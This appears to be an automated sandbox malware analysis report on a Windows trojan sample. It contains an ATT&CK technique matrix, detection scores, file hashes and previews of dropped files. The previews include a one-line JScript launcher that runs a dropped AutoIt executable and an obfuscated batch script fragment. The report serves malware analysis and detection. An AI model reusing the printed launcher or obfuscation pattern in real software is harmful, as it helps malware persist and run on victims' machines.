Employee Names	Virtual Private Server	Local Accounts	Cron	2 Registry Run Keys / Startup Folder	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	17 System Information Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	111 Masquerading	LSA Secrets	31 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	2 Registry Run Keys / Startup Folder	2 Valid Accounts	Cached Domain Credentials	4 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Access Token Manipulation	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ldqj18tn.exe	66%	ReversingLabs	Win32.Trojan.Leonem

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	8%	ReversingLabs
C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	8%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Becoming	0%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
zaZEComvggHsSEuOVnvSMAnVIZblq.zaZEComvggHsSEuOVnvSMAnVIZblq	unknown	unknown	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.autoitscript.com/autoit3/J	ldqj18tn.exe, 00000000.00000003.2138986925.00000000029E0000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmp, Organizational.pif, 0000000B.00000003.2196969665.000000000437C000.00000004.00000800.00020000.00000000.sdmp, InnoMesh.scr, 00000011.00000002.4002398623.0000000000E39000.00000002.00000001.01000000.00000008.sdmp, Organizational.pif.2.dr, Volunteer.0.dr, InnoMesh.scr.11.dr	false	high
http://nsis.sf.net/NSIS_ErrorError	ldqj18tn.exe	false	high
https://www.autoitscript.com/autoit3/	ldqj18tn.exe, 00000000.00000003.2138986925.00000000029E0000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000002.4004748020.0000000003CFB000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000003.2196969665.000000000437C000.00000004.00000800.00020000.00000000.sdmp, Organizational.pif.2.dr, Volunteer.0.dr, InnoMesh.scr.11.dr	false	high

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577511
Start date and time:	2024-12-18 14:50:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ldqj18tn.exe
Detection:	MAL
Classification:	mal84.rans.expl.evad.winEXE@28/26@2/0
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 103 Number of non-executed functions: 293
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.12.23.50
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: ldqj18tn.exe

Simulations

Behavior and APIs

Time	Type	Description
14:51:06	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoMesh.url

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	EO3RT0fEfb.exe	Get hash	malicious	Unknown	Browse
	RMBOriPHVJ.exe	Get hash	malicious	Unknown	Browse
	S6x3K8vzCA.exe	Get hash	malicious	Unknown	Browse
	PPbimZI4LV.exe	Get hash	malicious	Unknown	Browse
	l5VhEpwzJy.exe	Get hash	malicious	Unknown	Browse
	duyba.lnk.download.lnk	Get hash	malicious	Unknown	Browse
	pt8GJiNZDT.exe	Get hash	malicious	Unknown	Browse
	c2.hta	Get hash	malicious	XWorm	Browse
	c2.hta	Get hash	malicious	XWorm	Browse
C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	EO3RT0fEfb.exe	Get hash	malicious	Unknown	Browse
	RMBOriPHVJ.exe	Get hash	malicious	Unknown	Browse
	S6x3K8vzCA.exe	Get hash	malicious	Unknown	Browse
	PPbimZI4LV.exe	Get hash	malicious	Unknown	Browse
	l5VhEpwzJy.exe	Get hash	malicious	Unknown	Browse
	duyba.lnk.download.lnk	Get hash	malicious	Unknown	Browse
	pt8GJiNZDT.exe	Get hash	malicious	Unknown	Browse
	c2.hta	Get hash	malicious	XWorm	Browse
	c2.hta	Get hash	malicious	XWorm	Browse

Created / dropped Files

C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\704579\Organizational.pif
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	177
Entropy (8bit):	4.652268392258587
Encrypted:	false
SSDEEP:	3:RiMIpGXIdPHo55wWAX+eLCMuL4EkD5xAaUFJl2FZo5uWAX+eLCMuL4EkD5xAaUFj:RiJBJHonwWDeLPqJkDvxUFT2FywWDeLu
MD5:	BE7A071668D410522BF92334A91B377C
SHA1:	5BEA960EE3C5A9765FB5C6B490B9EF5C26A4E229
SHA-256:	127FFBABF7B1F2B2DB1CD72BBC6BA5D1825A18751DF54F51B8807332BE4D6318
SHA-512:	E270C0A3CE26DFBDADAD3549B6C57422E6769ED20E3CF01E2502779EE618F8BBB39133423A4ABAD030768962FB0851BF6701534DE9A76B1CDBDE6483F3B0A9C3
Malicious:	true
Preview:	new ActiveXObject("Wscript.Shell").Exec("\"C:\\Users\\user\\AppData\\Local\\TechMesh Dynamics\\InnoMesh.scr\" \"C:\\Users\\user\\AppData\\Local\\TechMesh Dynamics\\M\"")

C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr

Download File

Process:	C:\Users\user\AppData\Local\Temp\704579\Organizational.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Joe Sandbox View:	Filename: EO3RT0fEfb.exe, Detection: malicious, Browse Filename: RMBOriPHVJ.exe, Detection: malicious, Browse Filename: S6x3K8vzCA.exe, Detection: malicious, Browse Filename: PPbimZI4LV.exe, Detection: malicious, Browse Filename: l5VhEpwzJy.exe, Detection: malicious, Browse Filename: duyba.lnk.download.lnk, Detection: malicious, Browse Filename: pt8GJiNZDT.exe, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\TechMesh Dynamics\M

Download File

Process:	C:\Users\user\AppData\Local\Temp\704579\Organizational.pif
File Type:	data
Category:	dropped
Size (bytes):	1177035
Entropy (8bit):	7.999838432083651
Encrypted:	true
SSDEEP:	24576:uWgaEyFxeBEglui3XzLBMX2rgfXG5KXZCN277jTzsc:0yFxAVumMX2rgfSKXoN277vzd
MD5:	AB0020D503E99E956AB92579E6690327
SHA1:	9E3ACD23F62F72CCABDBBCBAF21C31986FD694EA
SHA-256:	14A900791A0CF3D1A98491DC6E108EA1C814B41579F33851CF7A02460B9F9387
SHA-512:	BB2B853B050B7F778011FB9359D1E57808EB3FF3A4905679254E66C3F9C3B1FD6CC18C5589B11E96037ECCE2B4CB06B73433CDC704FD312C232AF98BBC151C6E
Malicious:	true
Preview:	.8...tZ.{.\|..>......<../.b......C zK.U5....M{..Mg.........Vx.U.I.}8......~.......!.U;..".....[.2........NJ...y..pEmB...<[g'~"..U..V.,..f......E.K.M.......(.^.O..\|.CKCU ..~S`h9V..F.9.k.V'.>..S.....i.m..YDA...p..Gx......9.A.....pi.$...KL.O...m^.cq...W.M.....5.&g.t.7...`...t..-1..8x.PA.H...].}..9/7.b..........l....j.\|...Wne]w.... A..F-G.%.e.!..R.`t.<...7.".....gNM.?.5..$.eM...>1T............M\nZJ...?.-LZ..C..jO9bl?......I..."Y..{..^;.F)N....^."......./.\a4h......:..0^.e..Y1m...j.D.xgw..........n.....4..0N...n+#..v..NQ.....".X@...d..Fg...'[......s.l.-a..<....X_~E]Y.8..T..?....h.U@.6\....7..p...]....ws..4-...X..>4'.......Ccn^.../.p...]....B.2kX.......~.WQF.\..dU.H..!...P1.....[.......}`7.kc..L.....N=-..Qf:...>......1..l...1....t..@..l.at.%..%.a........H.?.&1..kz...m...=.<.....]d.V..$..4N..Z.Q.JA..W...*p...j.b.#n.{...=.@s[.}_....+..M..d.^..+~.y....QO.dG.<.....{.#r.c.3...H...}....9.9..g.qxr..~UoIl..oo8...T...........il..

C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Joe Sandbox View:	Filename: EO3RT0fEfb.exe, Detection: malicious, Browse Filename: RMBOriPHVJ.exe, Detection: malicious, Browse Filename: S6x3K8vzCA.exe, Detection: malicious, Browse Filename: PPbimZI4LV.exe, Detection: malicious, Browse Filename: l5VhEpwzJy.exe, Detection: malicious, Browse Filename: duyba.lnk.download.lnk, Detection: malicious, Browse Filename: pt8GJiNZDT.exe, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\704579\u

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	1177035
Entropy (8bit):	7.999838432083651
Encrypted:	true
SSDEEP:	24576:uWgaEyFxeBEglui3XzLBMX2rgfXG5KXZCN277jTzsc:0yFxAVumMX2rgfSKXoN277vzd
MD5:	AB0020D503E99E956AB92579E6690327
SHA1:	9E3ACD23F62F72CCABDBBCBAF21C31986FD694EA
SHA-256:	14A900791A0CF3D1A98491DC6E108EA1C814B41579F33851CF7A02460B9F9387
SHA-512:	BB2B853B050B7F778011FB9359D1E57808EB3FF3A4905679254E66C3F9C3B1FD6CC18C5589B11E96037ECCE2B4CB06B73433CDC704FD312C232AF98BBC151C6E
Malicious:	true
Preview:	.8...tZ.{.\|..>......<../.b......C zK.U5....M{..Mg.........Vx.U.I.}8......~.......!.U;..".....[.2........NJ...y..pEmB...<[g'~"..U..V.,..f......E.K.M.......(.^.O..\|.CKCU ..~S`h9V..F.9.k.V'.>..S.....i.m..YDA...p..Gx......9.A.....pi.$...KL.O...m^.cq...W.M.....5.&g.t.7...`...t..-1..8x.PA.H...].}..9/7.b..........l....j.\|...Wne]w.... A..F-G.%.e.!..R.`t.<...7.".....gNM.?.5..$.eM...>1T............M\nZJ...?.-LZ..C..jO9bl?......I..."Y..{..^;.F)N....^."......./.\a4h......:..0^.e..Y1m...j.D.xgw..........n.....4..0N...n+#..v..NQ.....".X@...d..Fg...'[......s.l.-a..<....X_~E]Y.8..T..?....h.U@.6\....7..p...]....ws..4-...X..>4'.......Ccn^.../.p...]....B.2kX.......~.WQF.\..dU.H..!...P1.....[.......}`7.kc..L.....N=-..Qf:...>......1..l...1....t..@..l.at.%..%.a........H.?.&1..kz...m...=.<.....]d.V..$..4N..Z.Q.JA..W...*p...j.b.#n.{...=.@s[.}_....+..M..d.^..+~.y....QO.dG.<.....{.#r.c.3...H...}....9.9..g.qxr..~UoIl..oo8...T...........il..

C:\Users\user\AppData\Local\Temp\Against

Download File

Process:	C:\Users\user\Desktop\ldqj18tn.exe
File Type:	data
Category:	dropped
Size (bytes):	36299
Entropy (8bit):	7.995142843999967
Encrypted:	true
SSDEEP:	768:hfbk8c2PiL7CZcLVF7u3yq2OvvRZ+4BKKMtwFMsKCWf+QJddWz6nHu:tSqZcv6yq2OvZJ52dIzd
MD5:	48EEF161688B28BF638E0EC37DABB593
SHA1:	DD30CC2936BD9BE8C977653FC8E0590A0A96D707
SHA-256:	32873FBEC30BA467A770F8FA5D18AE9F5D30B383E1761036EC9CDF0491C9E57A
SHA-512:	3C76F72DF956D71E79E6BFFF54D6A8FACEE0F6A41CE0D7CD564BBFBA48B1C381A49B3C61E91BCE6C84FE172C55C791CD65665E0D26E4F7356C4457B712A788C9
Malicious:	true
Preview:	...t.Pma......s.#$,..yO....yo.+......d=..$?.c..>...I...3}.#..L7.......j.....l~.Up.b....j.F.]..}D...{.id........(PQcr.p.k3...~B.qmA..tn~C.c.vc....Pq....r...6y...cW...2z..N4...0Qd2.P..C..S....9._..u......z.....x....93TX...Y.r).=..>..9I-!.\`.T.......6.@:.B...=M.....]..[Q...W.<.'.t.Z.pq...C....<.....-.{>...o.S..5@.ry..7~Z.E.....MY......._!.........lrE......u...45....._b.P...`(..,_.W. .}kE}.}x.>...1.....,:1......T...6M.C.i...lk..K.........M....EM#.xa$L.e...,.L{...;c...G\....a.3.VM...Xcq.L...6d..r[...Ff(..{..}..Mzpv..;..eT.>..O.....4.I......(r...."....Q...H....J....e......\|.eC)S}.^L....c...5n>.q9....p.......dv..-&.....<.^.....C...%...4..n.S..L.#......C.e. G...H..(....q...2.k."......(.h-Uc.4.k.e..wA..yO.1.@.#......I..g.............3V.[....,[U"4.w...X'T1...1n:../E.G... ...Z.YRL+*(.....^.9...W;5..c..1..N. k....D..<:.~@..>.].e.r!.....dz%.Q....7...:..s....0 ...R..Q#.......`..v+.._.....T.F. ....E....)!...].#...........%.....=.&..i."O.c........g....'...aB0

C:\Users\user\AppData\Local\Temp\Becoming

Download File

Process:	C:\Users\user\Desktop\ldqj18tn.exe
File Type:	DOS executable (COM, 0x8C-variant)
Category:	dropped
Size (bytes):	93184
Entropy (8bit):	7.998062404457295
Encrypted:	true
SSDEEP:	1536:oA8gnQiP6RbR5TZJHTPs1GZO7ktznBUDjnMTcWh3FFHkPFGUFcAw2xNhz:m3iPEhTPs1GZO7k1nwDMJ3Pkzcyp
MD5:	73F15B295CA059461F4CCEA25DD9A56A
SHA1:	0B2834B85A315A2417C7AB51842937F3AD2E34DD
SHA-256:	CF1527A390FE3B945F60BA46F139D5EFCC8B20712A6388FE0FF99CAD6B661CF8
SHA-512:	31A459460A7D1C65AFFE2E085AC3835BF2C40EF0112F3C11AD6821B56A452B1EA53F5BF31FE2C83DBDE689D381506E54729BC515DA8E8F86BF6AE1F0785DB0CE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	.......;. !..t&.J".'.6.+....&{.z....$...9.3.p8i..;.76z.....y......+xuz......p..Q.p.Ub...&.h........P..4."...t..A`...".R....h.,.M/.4.`.....7ZW.bp...KE....)`........V.nFG.Z......Y7....[:($..Z%...m....Q.?.@.k"(....Q..e".).s....W\|.HMR..^Vs..Z....k.`..J.fG.3 .t..:.4./;.....%...</.......y]@..0...../.?hw.....{x.g....A....\|.0{..../.}O.P.:.n...{.vw^.v<z.Oiv(...49..1s...w<...gt..!b.t.XhM.?..<.8.U...m.i_I...hMNc..-.t.....Y=........"A.d...tvt.^..5T...G.8Y.u4%W..+..:..I..<.........Y..K.$!.?Y.....AA......;]..g...,..a.j....RlS..i.ll.F.FD.^.(7\x.]..!..:DP^..>.l=m.T..R.......:...aj.......$......3........_bh...sT-ar..b......gp....0MR.&.R....G92U.`"...[...8k..>(.'....R. .N8.y.....`.6.A.a....@....x..^...BQ/L.<...m....e...X...b......z...U..]...5x$.%..RK.S....a.R.5.z.A.F..$;6W...I.0..9.,....4%....u...m...RB.....@..`.(."Qj...e...s*..L.=o#4../.0.K.#Et.BQo..UX.....>..G.F.\|#]..F..UE.L..M...C.I...x.%q.(.~.. d.Sj.#s9.n..w<...%.+,v.f...hZ..Z..'f$...l..A.9K.3...

C:\Users\user\AppData\Local\Temp\Commodities

Download File

Process:	C:\Users\user\Desktop\ldqj18tn.exe
File Type:	data
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	7.997963539367384
Encrypted:	true
SSDEEP:	1536:Getdq5yUrLGdyN60kxmcPu37oudLvidDCG4jx3yF8+Z3v8jdUU1tq00toMT:GetdqnidyNdmRGc2L+CcF8+Z0xUU1tqX
MD5:	75257307B8D4D5B354711B1AFB9807B9
SHA1:	F61C1599DEA1E8BCA46CF7176F5C367FC6C682F9
SHA-256:	7F34EA53E7774CE8455BF3EC2F6A38CA870740B05D866073ABF8738874212DE1
SHA-512:	B1317965AADC83E85CE16A839FAD180AC2BF0356BA305D1D14D33E22ECE8B7980CB5C9543E40B5C6830F626749AC233E4C2CB6A925DC72A8F85C49BD5FD67BDC
Malicious:	true
Preview:	..<...!......\.....[.N8...X.{..?.Z%Z.z...... ..{.<$..2..........<....-..8.K...!..3G..5.Q..,.X0..2.\.....@......S...y......R>....."..n$r..?..[...gX(.P.D16Y..I.-.$........K....R.....\|.#...w..[3?....y9YN.?.#..H\X.......d..k...29...../....+.v/....S...=....8..=.?\|\|...a.M..g.1......+b.16.H.K..>....g.~.q9..z.[7\bG....2u1.n...(......1...x.........%.S._.........V/.6..P..P6.G..Op.x(.1VvE.{..-.3."&=.....]..@.Q.,...S..CmBh.(....&......#..\|.u..).6S>..Y.u...wY@..R.w..4.A.W.]x.Q\.x.]y.m.'.S9.M....<K.. ..G9...-.x......d.xTk....~..>\H.....11..Zl..o......e....~.+$)...P.b.7..I...c..F.!.W.&.x..i..=..k{..=......dY!c......UJUX...'E..%.......-.`.ut..o..A.C/....c.u......:.Yp...\;..PTyw....ap.../C..r..OM(....t.........ft.h<...2...<.t7...?.G..c.....2.J...-"....[.#.^c....X.-G,.^2............VX....O.&.....(E:...M..h .+.).o.NG..........I.s.{......l.hWmt...5o.]..!W.">..:/rr.O...).... FE....1UC........t.rs..d...D.6.#V....k0.L...&&..g...,....w..`.[...w

C:\Users\user\AppData\Local\Temp\Consequence

Download File

Process:	C:\Users\user\Desktop\ldqj18tn.exe
File Type:	data
Category:	dropped
Size (bytes):	96256
Entropy (8bit):	7.998514868354388
Encrypted:	true
SSDEEP:	1536:IvdYLR3NuhKqrKEN3tMdLgN/AfOTtbxaKiA9G0FnCerGGg/WTEFiIeHrygOI+T:IvdeRq39Mpg+fO/7ieGACmgyEF8ZOx
MD5:	C4E8EDFE5D08067625B63F23C2E8FB8A
SHA1:	D76FA360F0FE278C791442E9208A591C86476AF3
SHA-256:	B5638AA2E4141715075A21BA1D69D2E8B53E5CF055564C9E2B80E20A5340A766
SHA-512:	1AB6204134558D8AA28D43E7B860B57FAC12DA3F653A34FB5892D9241B04E7CBFFF3B5F8F8C2623F7354D0F9DF1078B19532F64CBD029D2D32B4D17863BD345F
Malicious:	true
Preview:	.8...tZ.{.\|..>......<../.b......C zK.U5....M{..Mg.........Vx.U.I.}8......~.......!.U;..".....[.2........NJ...y..pEmB...<[g'~"..U..V.,..f......E.K.M.......(.^.O..\|.CKCU ..~S`h9V..F.9.k.V'.>..S.....i.m..YDA...p..Gx......9.A.....pi.$...KL.O...m^.cq...W.M.....5.&g.t.7...`...t..-1..8x.PA.H...].}..9/7.b..........l....j.\|...Wne]w.... A..F-G.%.e.!..R.`t.<...7.".....gNM.?.5..$.eM...>1T............M\nZJ...?.-LZ..C..jO9bl?......I..."Y..{..^;.F)N....^."......./.\a4h......:..0^.e..Y1m...j.D.xgw..........n.....4..0N...n+#..v..NQ.....".X@...d..Fg...'[......s.l.-a..<....X_~E]Y.8..T..?....h.U@.6\....7..p...]....ws..4-...X..>4'.......Ccn^.../.p...]....B.2kX.......~.WQF.\..dU.H..!...P1.....[.......}`7.kc..L.....N=-..Qf:...>......1..l...1....t..@..l.at.%..%.a........H.?.&1..kz...m...=.<.....]d.V..$..4N..Z.Q.JA..W...*p...j.b.#n.{...=.@s[.}_....+..M..d.^..+~.y....QO.dG.<.....{.#r.c.3...H...}....9.9..g.qxr..~UoIl..oo8...T...........il..

C:\Users\user\AppData\Local\Temp\Descending

Download File

Process:	C:\Users\user\Desktop\ldqj18tn.exe
File Type:	ASCII text, with very long lines (687), with CRLF line terminators
Category:	dropped
Size (bytes):	13560
Entropy (8bit):	5.152446332556762
Encrypted:	false
SSDEEP:	384:vA5nkQWyUEMHlWiSDhV5qRwcbar5DrwcqEw/D486HsT2pn:vAVk5yUZHlWiSDDTrBrfqjc8wRpn
MD5:	D85FE4F4F91482191B18B60437C1944D
SHA1:	C639206AD03A4FCC600CE0F7F3D5F83AD1F505A1
SHA-256:	55941822431D9EB34DEAEF5917640E119FCD746F2D3985E211A2FF4A9C48FF92
SHA-512:	BD5E46C10DEC7D40E0151DABB28C77B077CE9BC2B853B01DECBCD296F6269051A01115C349DC094BBCF14153A13395FC7E5AB74DD53EB5B2DFBC4BF856692B09
Malicious:	false
Preview:	Set Fellow=r..EOtCosmetics-Sell-..tGMEArmenia-Fraud-..oPInstalling-Acquire-Groups-Americans-Promises-Ma-Wise-..QhqReligious-Ja-Desire-Frederick-Blowing-Sv-Legislative-Mileage-Fax-..isAHurricane-Damn-Inner-Efficient-..Set Mall=N..hacMapping-..debBillion-Channel-Integration-Might-Recorder-Bingo-..MCxAShower-Australian-Calculate-Tail-..xPWit-Lazy-..PzBasketball-Areas-Listening-Centered-Away-..kbCollectables-Temp-..Set Saskatchewan=X..UppaInnocent-Eugene-Examinations-Rw-..TvbSCocks-Statute-Flat-Mortality-Dominant-Metres-Sufficient-Seekers-Headset-..ZkMariah-..PASpot-..BoCrop-Publicly-Mel-..EvjlFinding-..LEhPhp-Earned-Aging-Greg-..gajhLight-Cod-Flat-Harm-Noted-Mounts-Further-..EuQuebec-Notice-Drinking-Front-Claimed-Symptoms-Vampire-Supporting-..RIBFrames-Membership-..Set Fluid=V..iQmEmployed-Single-Norway-Cloudy-Toy-..WfQReached-Glucose-..maePj-Atlas-Proof-..FYeNm-Throat-Spreading-..ojcSmile-..QCOperator-Browsers-Talented-Colonial-Hewlett-Subscriptions-Em-Interesting-Therapeutic-..Set Lodge

C:\Users\user\AppData\Local\Temp\Descending.bat

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (687), with CRLF line terminators
Category:	dropped
Size (bytes):	13560
Entropy (8bit):	5.152446332556762
Encrypted:	false
SSDEEP:	384:vA5nkQWyUEMHlWiSDhV5qRwcbar5DrwcqEw/D486HsT2pn:vAVk5yUZHlWiSDDTrBrfqjc8wRpn
MD5:	D85FE4F4F91482191B18B60437C1944D
SHA1:	C639206AD03A4FCC600CE0F7F3D5F83AD1F505A1
SHA-256:	55941822431D9EB34DEAEF5917640E119FCD746F2D3985E211A2FF4A9C48FF92
SHA-512:	BD5E46C10DEC7D40E0151DABB28C77B077CE9BC2B853B01DECBCD296F6269051A01115C349DC094BBCF14153A13395FC7E5AB74DD53EB5B2DFBC4BF856692B09
Malicious:	false
Preview:	Set Fellow=r..EOtCosmetics-Sell-..tGMEArmenia-Fraud-..oPInstalling-Acquire-Groups-Americans-Promises-Ma-Wise-..QhqReligious-Ja-Desire-Frederick-Blowing-Sv-Legislative-Mileage-Fax-..isAHurricane-Damn-Inner-Efficient-..Set Mall=N..hacMapping-..debBillion-Channel-Integration-Might-Recorder-Bingo-..MCxAShower-Australian-Calculate-Tail-..xPWit-Lazy-..PzBasketball-Areas-Listening-Centered-Away-..kbCollectables-Temp-..Set Saskatchewan=X..UppaInnocent-Eugene-Examinations-Rw-..TvbSCocks-Statute-Flat-Mortality-Dominant-Metres-Sufficient-Seekers-Headset-..ZkMariah-..PASpot-..BoCrop-Publicly-Mel-..EvjlFinding-..LEhPhp-Earned-Aging-Greg-..gajhLight-Cod-Flat-Harm-Noted-Mounts-Further-..EuQuebec-Notice-Drinking-Front-Claimed-Symptoms-Vampire-Supporting-..RIBFrames-Membership-..Set Fluid=V..iQmEmployed-Single-Norway-Cloudy-Toy-..WfQReached-Glucose-..maePj-Atlas-Proof-..FYeNm-Throat-Spreading-..ojcSmile-..QCOperator-Browsers-Talented-Colonial-Hewlett-Subscriptions-Em-Interesting-Therapeutic-..Set Lodge

C:\Users\user\AppData\Local\Temp\Estimate

Download File

Process:	C:\Users\user\Desktop\ldqj18tn.exe
File Type:	data
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	7.997721698642565
Encrypted:	true
SSDEEP:	1536:YReT3S6RaPlwij6WqGnCf/x9TkXGr8nwvp1aYzERXM7Wi:48hRGwlGS/8XGr8n2pBgXXi
MD5:	7B60F0D191C0904F3F5BE40433D86F73
SHA1:	E6B09A6670797332B8861FC93F44DA7CF224BBCB
SHA-256:	AA1CC0C31C1C15CCFF224BA06596D8DEF6F510280F077BA201650F18B0D67D90
SHA-512:	1D8FF33C53794E3467968F747172DBFDC362E99E24CE6652A0860FE4094D5A861ED2E2C307577FE033AF39836268BC6EF2CDB331AE8FB3B58F2FC7A3EBA257A8
Malicious:	true
